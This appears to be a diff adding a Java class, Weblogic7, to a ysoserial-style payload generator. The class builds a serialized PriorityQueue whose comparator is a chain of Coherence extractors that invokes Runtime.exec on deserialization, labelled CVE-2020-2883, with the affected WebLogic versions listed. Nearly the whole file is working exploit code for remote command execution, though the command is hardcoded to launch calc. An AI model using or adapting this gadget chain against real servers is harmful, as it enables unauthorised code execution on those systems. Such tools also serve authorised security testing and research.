|
| 1 | +package payloads; |
| 2 | + |
| 3 | +import com.tangosol.coherence.reporter.extractor.ConstantExtractor; |
| 4 | +import com.tangosol.util.ValueExtractor; |
| 5 | +import com.tangosol.util.extractor.ChainedExtractor; |
| 6 | +import com.tangosol.util.extractor.MultiExtractor; |
| 7 | +import com.tangosol.util.extractor.ReflectionExtractor; |
| 8 | +import common.Serializer; |
| 9 | +import payloads.annotation.Authors; |
| 10 | +import payloads.annotation.Dependencies; |
| 11 | +import util.PayloadRunner; |
| 12 | + |
| 13 | +import java.lang.reflect.Field; |
| 14 | +import java.util.PriorityQueue; |
| 15 | + |
| 16 | + |
| 17 | +/* |
| 18 | +
|
| 19 | +ObjectInputStream.readObject() |
| 20 | + PriorityQueue.readObject() |
| 21 | + PriorityQueue.heapify() |
| 22 | + PriorityQueue.siftDown() |
| 23 | + siftDownUsingComparator() |
| 24 | + com.tangosol.util.extractor.AbstractExtractor.compare() |
| 25 | + com.tangosol.util.extractor.MultiExtractor.extract() |
| 26 | + com.tangosol.util.extractor.ChainedExtractor.extract() |
| 27 | + com.tangosol.util.extractor.ChainedExtractor.extract() |
| 28 | + com.tangosol.util.extractor.ReflectionExtractor().extract() |
| 29 | + Method.invoke() |
| 30 | + ....... |
| 31 | + com.tangosol.util.extractor.ReflectionExtractor().extract() |
| 32 | + Method.invoke() |
| 33 | + Runtime.exec() |
| 34 | + */ |
| 35 | + |
| 36 | +// CVE-2020-2883 2 |
| 37 | + |
| 38 | +@SuppressWarnings({ "rawtypes", "unchecked" }) |
| 39 | +@Dependencies({"weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4"}) |
| 40 | +@Authors({ Authors.FROHOFF }) |
| 41 | +public class Weblogic7 implements ObjectPayload<Object> { |
| 42 | + |
| 43 | + public byte[] getObject(final String command) throws Exception { |
| 44 | + ValueExtractor[] valueExtractors = new ValueExtractor[]{ |
| 45 | + new ConstantExtractor(Runtime.class), |
| 46 | + new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), |
| 47 | + new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), |
| 48 | + new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}}) |
| 49 | + }; |
| 50 | + ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractors); |
| 51 | + MultiExtractor multiExtractor = new MultiExtractor(); |
| 52 | + |
| 53 | + Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor"); |
| 54 | + m_extractor.setAccessible(true); |
| 55 | + m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor}); |
| 56 | + |
| 57 | + PriorityQueue priorityQueue = new PriorityQueue(); |
| 58 | + priorityQueue.add("foo"); |
| 59 | + priorityQueue.add("bar"); |
| 60 | + |
| 61 | + Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); |
| 62 | + comparator.setAccessible(true); |
| 63 | + comparator.set(priorityQueue, multiExtractor); |
| 64 | + |
| 65 | + return Serializer.serialize(priorityQueue); |
| 66 | + } |
| 67 | + |
| 68 | + public static byte[] getBytes(final String command) throws Exception { |
| 69 | + return Weblogic7.class.newInstance().getObject(command); |
| 70 | + } |
| 71 | + |
| 72 | + public static void main(final String command) throws Exception { |
| 73 | + PayloadRunner.run(Weblogic7.class, command); |
| 74 | + } |
| 75 | + |
| 76 | +} |
0 commit comments